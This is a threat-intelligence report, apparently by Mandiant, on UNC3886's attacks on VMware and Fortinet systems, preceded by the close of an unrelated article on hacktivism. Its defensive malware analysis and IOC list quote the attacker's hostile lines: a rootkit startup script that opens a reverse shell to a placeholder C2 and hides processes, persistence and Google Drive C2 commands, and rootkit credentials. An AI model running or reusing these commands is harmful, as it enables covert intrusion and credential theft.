Mandiant emphasizes the importance of carefully analyzing groups' messaging, claims, and any independent evidence available before drawing conclusions about an actor's motivation, capability, or efficacy, since hacktivist tactics incentivize such actors to inflate the impact of their actions and make otherwise inaccurate or wholesale fabricated claims. A proper understanding of hacktivist personas and the impact of their actions requires consistent analysis over time and in context of communications with other actors. In some cases, obtaining conclusive evidence is not possible.

Geopolitically Motivated Hacktivists Often Advance Strategic Objectives from Nation-States

Given the inherent overlap between components of hacktivist tactics and information operations, geopolitically motivated hacktivist actors often help advance strategic objectives from nation-states. Although in most cases the hacktivists likely operate independently, we have also uncovered recent instances of actors with strong links to state-sponsored cyber espionage groups. 

Geopolitically Motivated Hacktivists Linked with Nation-States

Some nation-state-sponsored actors have created hacktivist cutouts or established links with hacktivist personas as a front for their own activities. Hacktivist personas provide such actors with a mechanism to spread messaging that would otherwise be covert action but with a veil of plausible deniability for their cyber threat activity. In such cases, hacktivist messaging can help to draw attention to specific narratives or even influence real life events resulting in physical consequences, while the plausible deniability from using these cutouts expands the threat to both direct and third parties associated with any given event or issue. Hacktivist personas also offer well-resourced actors the ability to develop and/or leverage persistent assets and hacktivist brands that increase the likelihood of their messaging reaching the desired target audiences.

• In 2024 we released a report describing how Russian military group APT44 (also commonly known as Sandworm, FROZENBARENTS, and Seashell Blizzard) cultivated hacktivist personas as assets to claim responsibility for a series of wartime disruptive operations and to amplify the narrative of successful disruption. 
• Public sources have also indicated nation-state sponsorship for hacktivist groups such as pro-Iran CyberAv3ngers, which the U.S. government has linked to the Islamic Revolutionary Guard Corps (IRGC) and pro-Israel "Gonjeshke Darande" (Predatory Sparrow), which the Iranian government has attributed to Israel.
• As early as 2014, an iconic attack targeting Sony Pictures Entertainment illustrated nation-states' leveraging of hacktivist brands to engage in cyber threat activity. The attack, in which a false hacktivist front called Guardians of Peace (#GOP) wiped Sony's infrastructure and leaked a large volume of proprietary information, was attributed by the U.S. Federal Bureau of Investigation (FBI) to the North Korean government.

Geopolitically Motivated Hacktivists That Likely Act Independently

Although many of the recently active high-profile hacktivist groups we track explicitly describe their activity as supporting the interests of a nation-state, these pledges of allegiance do not necessarily mean that all such groups are linked to nation-states. We have also recurrently observed hacktivist groups that appear to act independently, but guide their operations with interpretations of the political rhetoric and policy objectives communicated from the leaders of the nation-state or political groups they support. In this case, while the threat activity may not be directed by national leadership, it still serves to advance its specific objectives.

• For example, on June 18, 2022, Lithuania imposed a ban on the rail transit of goods subject to European sanctions to the Russian far-western exclave of Kaliningrad. Following the imposed ban, pro-Russian hacktivist groups announced attacks on Lithuanian entities across multiple sectors after Russian leadership warned there would be consequences from Lithuania's action. The attacks continued until both countries reached a consensus. 
• In some instances, we have observed campaigns that can last for extended durations or be revived by different groups over time. Such is the case of repetitive spikes in hacktivist activity that we often observe in the Middle East associated with holidays such as Quds Day or the recurrent #OpIsrael, which has grown since at least 2013 to involve all sorts of hacktivist activity targeting Israel every year.

Figure 4. OpIsrael DDoS activity between August 2023 and April 2024

Outlook

Despite some resemblance to the original hacktivist groups that first emerged over a decade ago, the current wave of hacktivism exhibits distinct characteristics that are constantly evolving. However, the dynamic of how this new generation of hacktivism interacts with and relies on multiple components of cyber threat activity is complex and has been poorly articulated by current analysis. Modern hacktivist tactics are employed by a variety of actors with multiple motivations and rely on an array of techniques associated with cyber intrusion and information operations. Each hacktivist persona adopts its own set of techniques and operates in a different way, either to support their own ideology, influence geopolitical events, or to gain financial benefits. 

Defenders must proactively seek to understand how these groups operate and interoperate, which techniques they prefer or have had the most success with, and other components of their activity in order to build effective defenses and policies against these actors. A primary challenge to addressing this threat is that hacktivist actors use techniques from different domains, blending together methods that the security community often has tracked separately and differently. We intend to address this challenge in a follow-up blog post. 

For additional guidance on common mitigation strategies to protect from this and other types of threat activity, please refer to the following documentation:

• Proactive Preparation and Hardening to Protect Against Destructive Attacks
• Linux Endpoint Hardening to Protect Against Malware and Destructive Attacks
• Distributed Denial of Service (DDoS) Protection Recommendations 

Appendix: Common Cyber Disruption Techniques Employed by Hacktivist Actors

Technique

Description

Distributed Denial of Services (DDoS)

Attack that attempts to overwhelm victim infrastructure and disrupt service.

Hack & Leak

Attack directly leveraging, or otherwise benefiting from, traditional intrusion capabilities to covertly obtain and publish exfiltrated materials in a manner intended to influence target audiences. Leaks may also be used to disseminate altered or forged documents. Actors may also "leak" documents obtained through alternative means while falsely claiming successful intrusion operations. 

Website Defacements

Actors compromise a website and modify or replace its landing page with content intended to influence target audiences. Website defacements are a common tactic used by hacktivists.

Doxing

Actors disseminate personally identifiable information (PII) of a victim; disseminated information may not necessarily have been collected through data breaches or other intrusion activity. In most cases, doxing does not result in high impact to victims, with the exception of cases inciting to violence.

Network Intrusion

The attacker gains access to a specific network and either offers access or announces further disruptive activity. This includes, for instance, accessing user interfaces for industrial control systems and modifying parameters that may result in physical damage.

Written by: Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, Alex Marvi

 

Following the discovery of malware residing within ESXi hypervisors in September 2022, Mandiant began investigating numerous intrusions conducted by UNC3886, a suspected China-nexus cyber espionage actor that has targeted prominent strategic organizations on a global scale. In January 2023, Mandiant provided detailed analysis of the exploitation of a now-patched vulnerability in FortiOS employed by a threat actor suspected to be UNC3886. In March 2023, we provided details surrounding a custom malware ecosystem utilized on affected Fortinet devices. Furthermore, the investigation uncovered the compromise of VMware technologies, which facilitated access to guest virtual machines.

Investigations into more recent operations in 2023 following fixes from the vendors involved in the investigation have corroborated Mandiant's initial observations that the actor operates in a sophisticated, cautious, and evasive nature. Mandiant has observed that UNC3886 employed several layers of organized persistence for redundancy to maintain access to compromised environments over time. Persistence mechanisms encompassed network devices, hypervisors, and virtual machines, ensuring alternative channels remain available even if the primary layer is detected and eliminated.

This blog post discusses UNC3886's intrusion path and subsequent actions that were performed in the environments after compromising the guest virtual machines to achieve access to the critical systems, including:

• The use of publicly available rootkits for long-term persistence
• Deployment of malware that leveraged trusted third-party services for command and control (C2 or C&C)
• Subverting access and collecting credentials with Secure Shell (SSH) backdoors
• Extracting credentials from TACACS+ authentication using custom malware 

Mandiant has published detection and hardening guidelines for ESXi hypervisors and attack techniques employed by UNC3886. For Google SecOps Enterprise+ customers, rules have been released to your Emerging Threats rule pack, and indicators of compromise (IOCs) listed in this blog post are available for prioritization with Applied Threat Intelligence. Mandiant recommends that organizations follow the security recommendations within the VMware and Fortinet advisories and the security recommendations provided in this blog post.

Zero-Day Exploitation

In January 2024, Mandiant published a blog post detailing UNC3886's activities exploiting CVE-2023-34048 (VMware vCenter) since late 2021. The exploitation enables unauthenticated remote command execution on vulnerable vCenter servers. Mandiant observed deployment of attacker backdoors minutes after crashing of the vulnerable VMware service.

CVE-2023-34048 was not the only zero-day vulnerability exploited by UNC3886 during these intrusions. The threat actor exploited three other zero-day vulnerabilities, which have since been patched, to gain access when obtaining and abusing credentials of existing accounts was infeasible. Figure 1 describes the UNC3886 attack path involving the following zero-day exploitations:

• CVE-2022-41328 in FortiOS was exploited to download and execute backdoors on FortiGate devices.
• CVE-2022-22948 in VMware vCenter was exploited to obtain encrypted credentials in the vCenter's postgresDB for further access.
• CVE-2023-20867 in VMware Tools was exploited to execute unauthenticated Guest Operations from ESXi host to guest virtual machines.

Figure 1: UNC3886 attack path diagram

Mandiant observed the threat actor exploit CVE-2022-42475 in FortiOS's Secure Sockets Layer (SSL) virtual private network (VPN) to obtain access in January 2023 after details of the vulnerability had been made public by Fortinet as part of their vulnerability disclosure processes. CVE-2022-42475 allows a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

Use of Publicly Available Rootkits for Long-Term Persistence

After exploiting zero-day vulnerabilities to gain access to vCenter servers and subsequently managed ESXi servers, the actor obtained total control of guest virtual machines that shared the same ESXi server as the vCenter server. Mandiant observed the actor use two publicly available rootkits, REPTILE and MEDUSA, on the guest virtual machines to maintain access and evade detection.

REPTILE

REPTILE is an open-source Linux rootkit, implemented as a loadable kernel module (LKM), that provides backdoor access to a system. The rootkit and backdoor functionalities are implemented as a separate component identified by Mandiant as follows:

• REPTILE.CMD is a user-mode component responsible for communicating with the kernel-mode component to perform actions including hiding files, processes, and network connections.
• REPTILE.SHELL is a reverse shell backdoor running in user-mode. The component could be configured to listen for a specialized packet in TCP, UDP, or ICMP for activation.
• REPTILE kernel-level component is an LKM responsible for hooking kernel functions and modifying functions data as tasked by REPTILE.CMD to achieve rootkit functionality.
• REPTILE LKM launcher is responsible for decrypting the actual kernel module code from the file and loading into the memory.

REPTILE appeared to be the rootkit of choice by UNC3886 as it was observed being deployed immediately after gaining access to compromised endpoints. REPTILE offers both the common backdoor functionality, such as command execution and file transfer capabilities, as well as stealth functionality that enables the threat actor to evasively access and control the infected endpoints via port knocking.

Mandiant observed that UNC3886 introduced several changes into the REPTILE code base and its auxiliary components. Some changes are based on the REPTILE code base before version 2.1, which was introduced on March 1, 2020, potentially indicating the actor has been developing and/or operating this rootkit for some time. 

One such change was identified within the UNC3886 REPTILE LKM launcher. In REPTILE version 2.0, the original developer of REPTILE altered how the kernel-level component is loaded, switching from using insmod to a custom launcher. The launcher Mandiant observed UNC3886 use throughout their operations, based on the custom launcher, was updated with a new function to daemonize a process. This function is identical to the publicly available create_daemon.c.

UNC3886 automated the deployment of REPTILE components with shell scripts. These scripts contained similar code to the installation script responsible for building REPTILE components and configuring a persistence mechanism for the REPTILE kernel-level component. The following additions were observed in the deployment shell script, which resulted in the creation of different forensic artifacts from the original REPTILE:

1. The threat actor replaced every instance of "reptile" with a unique keyword, which resulted in different filenames for rootkit component files.
   
   

   File Full Path

   Description

   /var/lib/fwupdd/<unique_keyword>_cmd

   REPTILE.CMD executable

   /var/lib/fwupdd/<unique_keyword>_reverse

   REPTILE.SHELL executable

   /var/lib/fwupdd/<unique_keyword>_start

   REPTILE startup shell script

   /lib/modules/<kernel_version>/kernel/driver
   s/<unique_keyword>/<unique_keyword>

   REPTILE kernel-level component

   /usr/bin/<unique_keyword>

   REPTILE LKM launcher

   
   
2. The script only deploys the pre-built REPTILE components and files to the paths listed as follows, and configures persistence mechanisms; it does not build the components.
3. While the original REPTILE relies on modprobe and udev in newer versions to load the kernel-level component, UNC3886 REPTILE relies on creating new RC scripts or systemd unit files with a command to execute REPTILE LKM launcher to load the kernel-level component, presented as follows. Only a few REPTILE samples were observed using udev as a persistence mechanism.

/usr/bin/< /lib/modules/<kernel_version>/kernel/drivers/ <unique_keyword>/<unique_keyword> 2>&- 1>&- 0<&-

Aside from the modifications made to the deployment shell script by the threat actor, the threat actor introduced a startup script containing execution commands and parameters for REPTILE.CMD and REPTILE.SHELL. The following is a sample of the startup script identified from one of the compromised guest virtual machines.

#!/bin/bash #<Centos_Selinux_Config_And_Module> /var/lib/fwupdd/<unique_keyword>_reverse -t <ip_address> -p <port> -s <secret> -r <seconds> /var/lib/fwupdd/<unique_keyword>_cmd hide `ps -ef | grep "ata/0" | grep -v grep | awk '{print $2}'` /var/lib/fwupdd/<unique_keyword>_cmd file-tampering #</Centos_Selinux_Config_And_Module>

The startup script tasks REPTILE.SHELL to connect back to the command-and-control (C2 or C&C) server and later configures REPTILE.CMD to hide the REPTILE.SHELL process from a process listing result and hide files from being visible. The analysis of the REPTILE samples revealed that the REPTILE.CMD was developed to hide file contents enclosed with a string #</Centos_Selinux_Config_And_Module> when the component is executed with a file-tampering parameter.

Mandiant identified a customized sample of REPTILE listeners with Transport Layer Security (TLS) support. The sample is able to receive communications using TLS over raw Transmission Control Protocol (TCP). Mandiant observed the threat actor deployed the customized version of REPTILE along with the victim's legitimate TLS certificate and private key obtained from the compromised FortiGate devices.

While UNC3886 was observed deploying new rootkits and backdoors with more functionalities, REPTILE appeared to be the first option to establish a foothold and possibly the last resort for maintaining access due to its small footprints.

MEDUSA and SEAELF

MEDUSA is an open-source rootkit implementing dynamic linker hijacking via LD_PRELOAD. Unlike REPTILE, which only provides an interactive access with rootkit functionalities, MEDUSA exhibits capabilities of logging user credentials from the successful authentications, either locally or remotely, and command executions. These capabilities are advantageous to UNC3886 as their modus operandi to move laterally using valid credentials.

Mandiant assessed the use of MEDUSA to be experimental alternatives of REPTILE and SSH keyloggers. The adoption of REPTILE was usually observed after the threat actor successfully gained access to compromised endpoints where it was used to deploy other malware, keyloggers, and utilities. MEDUSA, however, has been deployed subsequently on the same compromised endpoints in more recent activities.

Deployment of MEDUSA was accomplished by the MEDUSA installer component, identified by Mandiant as SEAELF. Mandiant identified two versions of MEDUSA deployed in the compromised endpoints, both using 0xAA as the XOR encryption key to encrypt configuration strings. Mandiant FLARE observed the following changes made by the threat actor to the samples:

1. The execve function that would normally filter output from iptables, ip, and the /bin directory no longer filter such output.
2. Output from strace, when executed by execve, is redirected to /tmp/orbit.txt by appending -o /tmp/orbit.txt to the command line.
3. The PAM functions no longer report SSH information and disrupt sudo requests by always returning PAM_SUCCESS(0). 
4. The following hook functions are missing in the sample:
   1. hosts_access
   2. shutdown
   3. close
   4. pam_acct_mgmt
   5. pam_sm_authenticate
   6. xread

Moreover, the file system evidence indicated changes to the MEDUSA configuration in one version that resulted in the creation and presence of various MEDUSA artifacts and host-based indicator locations as presented in the following table.

Name

Default Value

First Sample

Second Sample

MEDUSA administrator name

adm1n

Y0u4reCu6e

Y0u4reCu6e

MEDUSA administrator password

asdfasdf

1qaz@WSX3edc123

1qaz@WSX3edc123

MEDUSA home directory

/usr/lib/libc conf

/usr/lib/libc conf/

/usr/lib/locate/

ssh, scp, and sudo credential log

/usr/lib/libseconf
/sshpass2.txt

/usr/lib/libseconf
/local.txt

/usr/lib/locate
/local.txt

sshd credential log

/usr/lib/libseconf
/sshpass.txt

/var/log
/remote.txt

/var/log
/remote.txt

Backdoor listening ports

/usr/lib/libc conf/.ports

/usr/lib/libc
conf/.pts

/usr/lib/locate
/.pts

Mandiant observed the threat actor deploying and executing tools via MEDUSA to capture SSH valid credentials from the compromised endpoints. Upon starting, MEDUSA was configured to execute commands and executables listed under /usr/lib/locate/.boot.sh as follows:

/usr/sbin/libvird /usr/bin/NetworkManage chcon -t sshd_tmp_t /var/run/cron.data

The executables and the command constitute a component of the threat actor's attempt to hijack SSH connections with the objective of acquiring SSH credentials. Analysis of the executables and their attempts is discussed later in this report.

Malware Leveraging Trusted Third Parties as C2 Channel

The threat actor was observed deploying malware, including MOPSLED and RIFLESPINE, that leverages trusted third parties like GitHub and Google Drive as C2 channels while relying on the rootkits for persistence.

MOPSLED

MOPSLED is a shellcode-based modular backdoor that has the capability to communicate over HTTP or a custom binary protocol over TCP to its C2 server. The core functionality of MOPSLED involves expanding its capabilities by retrieving plugins from the C2 server. MOPSLED also uses a custom ChaCha20 encryption algorithm to decrypt embedded and external configuration files.

Mandiant observed sharing of MOPSLED between other Chinese cyber espionage groups including APT41. Mandiant considered MOPSLED to be an evolution of CROSSWALK, which can act as a network proxy.

Mandiant observed UNC3886 deploy the Linux variant, identified as MOPSLED.LINUX, on vCenter servers and a small number of the compromised endpoints where REPTILE already existed. MOPSLED.LINUX appeared to be used only as an initial malware deployed after gaining successful access since the malware does not have rootkit-like capabilities that could evade detection.

MOPSLED.LINUX was developed to communicate with a dead-drop URL to retrieve an actual C2 address. The sample associated with UNC3886 was observed sending HTTP GET requests to https://cyberponke.github[.]io/*. The response was decrypted using the ChaCha20 cipher to obtain the actual C2 IP address. Further communications are implemented as a custom binary protocol similar to HTTP/S.

RIFLESPINE

RIFLESPINE is a cross-platform backdoor that leverages Google Drive to transfer files and execute commands. It adopts the CryptoPP library to implement the AES algorithm to encrypt and decrypt the data transmitted between an affected machine and the threat actor.

To instruct RIFLESPINE, the threat actor creates an encrypted file on Google Drive with instructions for RIFLESPINE that is then executed by the malware on the target endpoint. The target endpoint's MAC address must appear in the filename when it is created. The file is downloaded, RIFLESPINE downloads and decrypts the file, and executes the instructions. The executions' outputs will be encrypted, stored in a temporary file, and then uploaded to Google Drive once more. The following instructions are available for execution:

1. Download file with get command.
2. Upload file with put command.
3. Set next call out time in milliseconds with settime.
4. Execution arbitrary commands with /bin/sh.

UNC3886 deployed RIFLESPINE with an open-source Google Drive CLI client. A systemd service file was created and used to execute the malware as the malware does not contain a persistence mechanism. Upon first installation, the malware collects system information and starts communicating with Google Drive service with the following steps:

1. Execute gdrive to obtain the file pertinent to the target endpoint with the following command:
   
   gdrive --refresh-token <token> list | grep "2@<mac_address>"
2. Write the filename to a temporary file /tmp/syslog<random_number.rs.
3. Download file to /tmp matching the filename with the following command:
   
   gdrive --refresh-token <token> download --path "/tmp" -f
4. Decrypt file /tmp/<filename> to /tmp/<download_filename>.de using CryptoPP AES-CBC with key libcrypt.so.2 and IV libev.so.5.
5. Read /tmp/<download_filename>.de line by line for instructions to execute.
6. After executing the instructions, write output to /tmp/update<random_number>.tmp.
7. Encrypt response from /tmp/update<random_number.tmp to /tmp/update<random_number>.tmp.en using the same AES keys as decryption.
8. Upload encrypted response with the following command:
   
   gdrive --refresh-token <token> upload --name "/tmp /update<random_number>.tmp.en"
9. Delay and repeat the previous steps.

Similar to MOPSLED.LINUX, RIFLESPINE was observed only in a small number of the compromised virtual machines. It is reasonable to assume that the threat actor abandoned the idea of using MOPSLED.LINUX and RIFLESPINE, which do not have rootkit functionality, as backdoors because predictable communications to GitHub and Google Drive services from virtual machine servers, rather than workstations, could raise suspicions.

Subverting Accesses With Backdoored Applications

Mandiant observed UNC3886 relying heavily on collecting and utilizing valid credentials for lateral movement between guest virtual machines running on the compromised VMware ESXi. The following section describes different techniques used by the threat actor to collect and abuse valid credentials.

Backdoored SSH Executables

After gaining access to the guest virtual machines, either through the collection of vpxuser credentials or by exploiting CVE-2023-20867 in conjunction with VMware Guest Operations abuse to facilitate malicious file transfer and execution, UNC3886 was observed deploying backdoored SSH clients and daemons. The purpose of these malicious components was the interception and collection of credentials within an XOR-encrypted text file.

Analysis of the compromised SSH client located at /usr/bin/ssh exposed modifications by the threat actor to the userauth_passwd() function, which governs password-based authentication. These modifications (detailed in Figure 2) introduce instructions designed to harvest SSH credentials from outgoing connections. The credentials are then XORed with 0xef before storage in the file /var/log/ldapd<unique_keyword>.2.gz.

Figure 2: Backdoored userauth_passwd()function

To facilitate the targeted collection of incoming SSH credentials, threat actors introduced modifications to the SSH daemon executable located at /usr/sbin/sshd. These modifications were specifically implemented within the auth_password() function, responsible for managing password-based authentication within the SSH daemon, and the sshpam_auth_passwd() function, which facilitates integration with Pluggable Authentication Modules (PAM). The injected malicious code functions analogously to that observed within the SSH client. However, in this instance, harvested credentials are stored within the file /var/log/ldapd<unique_keyword>.1.gz.

Figure 3: Backdoored auth_password()function

Figure 4: Backdoored sshpam_auth_passwd() function

In more recent threat actor activities, Mandiant observed the threat actor installed yum-versionlock to ensure that the malicious SSH clients and daemons would survive package upgrades. yum-versionlock enables the threat actor to exclude OpenSSH-related packages from the upgrade by adding the current version of OpenSSH packages to the versionlock.list file. Content of the versionlock.list file is presented as follows with the timestamp when the locks were added.

# Added lock on Tue Oct 25 23:28:07 2022 openssh-clients-0:8.0p1-13.el8.* openssh-server-0:8.0p1-13.el8.* Bring Your Own SSH Server

In addition to the backdoored SSH binaries deployed to collect SSH credentials, the threat actor was observed leveraging MEDUSA rootkit to deploy a custom SSH server with the same malicious goals.

Per the findings from MEDUSA rootkit analysis, Mandiant indicated that the threat actor utilized BOOT_SCRIPT parameter of MEDUSA located at /usr/lib/locate/.boot.sh to execute the following executables and a command on boot:

/usr/sbin/libvird /usr/bin/NetworkManage chcon -t sshd_tmp_t /var/run/cron.data

The hijacking of SSH connections to obtain credentials starts with the execution of /usr/sbin/libvird. Libvird, which is an injector based on a publicly available kubo/injector project embedded with a payload. libvird creates a library file identified as /lib64/libseconfd.so from the embedded payload and injects the library to sshd by default if both the target program and the library file are not provided.

Mandiant recovered and conducted analysis of the file with the same hash as the payload embedded in libvird. The analysis observed that the payload intercepts checkfd() of sshd when executed and verifies if the received data contains SSH-2.0-OpenSSH_6pf. The payload redirects the stream to the Unix socket /var/run/cron.data.

Mandiant identified /usr/bin/NetworkManage as a SSH server based on a publicly available SSH server wzshiming/sshd. The SSH server creates, monitors, and picks up the connection redirected to the Unix socket /var/run/cron.data.

Lastly, the final command inside /usr/lib/locate/.boot.sh was used to apply the SELinux security context of the Unix socket file /var/run/cron.dat to be the predefined sshd_tmp_t context, which is the security context tailored to temporary files used by the SSH daemon. This to ensure that the Unix socket used by the injector and the custom SSH server is accessible and writable when SELinux is enabled.

The threat actor was observed deploying another injector identified as sentry and the custom SSH server identified as sshdng-venter-7.0 on another endpoint. Analysis of the two executables identified the same injection and redirection operations as observed with libvird and NetworkManage.

Toward the Intrusion Goals The Remnants of Internal Recon and Lateral Movement

The objectives of the threat actor were initially unclear due to limited visibility and the extensive use of rootkits, tools, and scripts to eliminate forensic artifacts. When considering goal achievement, it is trivial to assume that a cyber espionage threat actor would focus on specific information. Yet pinpointing the exact type of information becomes challenging as it is situational. After a comprehensive analysis of the unallocated space of the compromised endpoints acting as a jump server, Mandiant identified some evidence that indicated what the threat actor's ultimate intentions may have been.

Mandiant successfully recovered scan logs generated by NMAP. The scan logs were created using the -oG parameter, which resulted in the recording of detailed scan information, including the NMAP executable, the scan initiation timestamp, the options, and the scan result. The sample log is presented as follows. Note that information related to victim organizations is redacted.

# Nmap 6.49BETA1 scan initiated [redacted] as: ./sc -sS -Pn -n --open --host-timeout 30 -T4 -v -oG result.txt -p 902,2012,4786,443 A.B.C.D/24 # Ports scanned: TCP(4;443,902,2012,4786) UDP(0;) SCTP(0;) PROTOCOLS(0;) Host: A.B.C.1 () Ports: 443/open/tcp//https///, 4786/open/tcp//smart-install/// Ignored State: filtered (2) Host: A.B.C.1 () Status: Up Host: A.B.C.1 () Status: Timeout Host: A.B.C.2 () Status: Up Host: A.B.C.2 () Ports: 4786/open/tcp//smart-install/// Ignored State: filtered (3) Host: A.B.C.3 () Status: Up Host: A.B.C.3 () Ports: 443/open/tcp//https/// Ignored State: filtered (3) Host: A.B.C.4 () Status: Up Host: A.B.C.4 () Status: Ports: 902/open/tcp//ideafarm-door/// Ignored State: filtered (3) Host: A.B.C.5 () Status: Up Host: A.B.C.5 () Status: Timeout Host: A.B.C.6 () Status: Up Host: A.B.C.6 () Ports: 4786/open/tcp//smart-install/// Ignored State: filtered (3) .......

The following observations were made from the sample scan log:

• NMAP executable: The threat actor brought their own NMAP executable for scanning. The executable sc was also located on the unallocated space and identified as a stand-alone version of the NMAP.
• Scanning parameters: TCP SYN scan was initiated in the aggressive mode without DNS resolution and host discovery, targeting TCP/443, TCP/902, TCP/2012, and TCP/4786 of 10.A.B.C/24. The result was recorded to result.txt with a record of only open or possibly open ports.
• Scanning results: The result indicates alive hosts with the open ports.

With the assumption that the services running on the alive hosts configured with the default port number, the alive hosts identified with TCP/4786 were possibly Cisco network appliances as the port is commonly assigned for Cisco Smart Install (SMI) service. TCP/902 indicates VMware technologies. By aggregating data from other scan logs and validating with the victim, it was established that the targeted networks belonged to foreign networks under the management of the victim organization. This marked the point at which a supply chain attack scenario became conceivable.

The existence of NMAP scan logs suggests that there is connectivity from the jump server to the foreign networks, although accessibility requires legitimate credentials. The final clue aligned with this assumption as the ongoing investigation uncovered malicious activities on a TACACS+ server accessible from the jump server.

TACACS is a network protocol used in computer networking for providing centralized authentication, authorization, and accounting (AAA) service. TACACS+ represents an enhanced and more robust version of the original TACACS protocol. Network appliances employ TACACS+ for security and access control, ensuring that authenticated users are authorized to execute actions that are monitored for auditing purposes.

An unauthorized access to a system functioning as an authentication server like a TACACS+ server is an absolute security nightmare. The threat actor could access or manipulate user credentials and authorization policies stored within its database. Accountability of TACACS+ would also be affected as the threat actor could tamper with the accounting logs stored on the TACACS+ server, covering their tracks and concealing malicious activities.

The following sections describe actions performed by the threat actor to extend their access to the target network appliances.

Capturing TACACS+ Credentials with LOOKOVER

The threat actor's first attempt to extend their access to the network appliances by targeting the TACACS server was the use of LOOKOVER. LOOKOVER is a sniffer written in C that processes TACACS+ authentication packets, performs decryption, and writes its contents to a specified file path. LOOKOVER uses the publicly available libpcap library to sniff TCP packets.

The threat actor deployed LOOKOVER on the TACACS+ server at /usr/sbin/au<unique_keyword>ditd. The sample required the following environment variables to be configured:

• TKEY - TACACS+ pre-shared key; contains default key 7ujm^YHN (required)
• FILTER - libpcap filter string (required)
• DEVICE - libpcap capture device (optional)
• SNFILENAME - processed data output path, optional with default set to /var/lib/libsyslog.so. All data written to this file is XORed with the single byte 0xEF.

Analysis of the LOOKOVER sample indicates that the samples process TCP packets whose first two bytes of data are 0xC0 and 0x01 and verify if the next byte is 0x01 or 0x03. The pattern aligns with TACACS+ packet header as described in RFC 8907 as follows:

• 0xC0 indicates the major (0xC) and the minor (0x0) TACACS+ version number.
• 0x01 indicates that the packet type is TAC_PLUS_AUTHEN.
• The next byte indicates the sequence number of the current packet; LOOKOVER targets if the sequence number is 0x01 or 0x03, which are commonly packets sent from the client to the TACACS+ server.

The sample verifies if the flag bit is 0x0, which indicates that the payload is encrypted. If the flag bit is 0x0, the sample then performs TACACS+ decryption by incorporating the first 12 bytes of TCP along with TKEY into an MD5 hash and uses the hash to XOR-decode the remainder of the TCP data. The decoded data along with the packet source IP address and an integer from the first 12 bytes are written to SNFILENAME.

If the next byte is nonzero, which could indicate a plain text payload, the entire data segment of the TCP packet is written to FILENAME.

Figure 5: LOOKOVER's function responsible for handling TACACS+ packets

During the analysis of the compromised TACACS+ server, Mandiant identified the presence of /usr/sbin/au<unique_keyword>ditd core dump file. Analysis of the core dump file revealed that the threat actor configured the FILTER environment variable as port 49 with /var/log/tac_cisco_<unique_keyword>_log as SNFILENAME. TCP/49 is used by TACACS+ Login Host protocol to handle an authentication request from devices. The process crashed when attempting to encrypt extracted credentials before writing to disks, and this could influence the threat actor to employ another approach to target TACACS+.

Backdoored TACACS+ Binary

On the same TACACS+ server identified with LOOKOVER, Mandiant observed the threat actor replaced the legitimate /usr/bin/tac_plus, which is the TACACS+ daemon for Linux, with a malicious version containing credential logging functionality.

The malicious version of /usr/bin/tac_plus was modified with a new function responsible for logging TACACS+ credentials to /var/log/tacu<unique_keyword>cs.log. The function was inserted in the verify() after the password was validated and in the passwd_file_verify(), which is responsible for confirming a credential after the password is confirmed to be correct. The captured credential record is XOR-ed with 0xEF before appending to the credential log file.

Figure 6: Malicious function within tac_plus for capturing credentials

Figure 7: Backdoored authentication function of tac_plus

The Family of VMCI Backdoors

Mandiant discovered a new variant of backdoors leveraging the Virtual Machine Communication Interface (VMCI) as a communication protocol. The VMCI backdoors could facilitate either guest-to-guest or host-to-guest communications to achieve command execution. See the overview of the attacker's use of ESXi Hypervisor VMCI communications for more information.

• VIRTUALSHINE is a simple VMware VMCI sockets-based backdoor that provides access to a bash shell. VIRTUALSHINE connects to a specified target, which streams the bash pty.
• VIRTUALPIE is a backdoor written in Python that spawns a demonized IPv6 listener on a hard-coded TCP port. It supports file transfer, arbitrary command execution, and reverse shell capabilities. It communicates using a custom protocol and the data is encrypted using RC4.
• VIRTUALSPHERE is the controller part of a simple VMCI-based backdoor. The malware transmits the second command-line argument over the VMCI socket to the server running inside the target VM.

We plan to release technical details of the VMCI backdoors in a future blog post.

Campaign 23-022 and Indicators of Compromise

Since March 2023, we have tracked UNC3886 activity leveraging zero-day exploits for Fortinet and VMware technologies as part of Campaign 23-022 in Mandiant Advantage for our customers. The majority of organizations that Mandiant has responded to or identified as targets through our own analysis have been located in the North America, Southeast Asia, or Oceania regions. However, we have also identified evidence of additional victims located in Europe, Africa, and other parts of Asia. Industries that Mandiant has observed being targeted are those typically observed in espionage operations, namely governments, telecommunications, technology, aerospace and defense, and energy and utility sectors. 

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a subset of these indicators of compromise (IOCs) in this post, and in a publicly available GTI Collection.

Host-Based Indicators

Filename

MD5

Family

Role

gl.py

381b7a2a6d581e3482c829bfb542a7de

 

UTILITY

install-20220615.py

876787f76867ecf654019bd19409c5b8

 

INSTALLER

lsuv2_nv.v01

827d8ae502e3a4d56e6c3a238ba855a7

 

ARCHIVE

payload1.v00

9ea86dccd5bbde47f8641b62a1eeff07

 

ARCHIVE

rdt

fcb742b507e3c074da5524d1a7c80f7f

 

ARCHIVE

sendPacket.py

129ba90886c5f5eb0c81d901ad10c622

 

UTILITY

sendPacket.py

0f76936e237bd87dfa2378106099a673

 

UTILITY

u.py

d18a5f1e8c321472a31c27f4985834a4

 

UTILITY

vmware_ntp.sh

4ddca39b05103aeb075ebb0e03522064

 

LAUNCHER

wp

0e43a0f747a60855209b311d727a20bf

GHOSTTOWN

UTILITY

aububbaditd

1d89b48548ea1ddf0337741ebdb89d92

LOOKOVER

SNIFFER

bubba_sniffer

ecb34a068eeb2548c0cbe2de00e53ed2

LOOKOVER

SNIFFER

ksbubba

89339821cdf6e9297000f3e6949f0404

MOPSLED.LINUX

BACKDOOR

ksbubba.service

c870ea6a598c12218e6ac36d791032b5

MOPSLED.LINUX

LAUNCHER

99-bubba.rules

1079d416e093ba40aa9e95a4c2a5b61f

REPTILE

LAUNCHER

admin

ed9be20fea9203f4c4557c66c5b9686c

REPTILE

BACKDOOR

authd

568074d60dd4759e963adc5fe9f15eb1

REPTILE

BACKDOOR

bubba

4d5e4f64a9b56067704a977ed89aa641

REPTILE

LAUNCHER

bubba_icmp

1b7aee68f384e252286559abc32e6dd1

REPTILE

BACKDOOR

bubba_loader

b754237c7b5e9461389a6d960156db1e

REPTILE

BACKDOOR

client

f41ad99b8a8c95e4132e850b3663cb40

REPTILE

BACKDOOR

dash

48f9bbdb670f89fce9c51ad433b4f200

REPTILE

LAUNCHER

listener

4fb72d580241f27945ec187855efd84a

REPTILE

BACKDOOR

packet

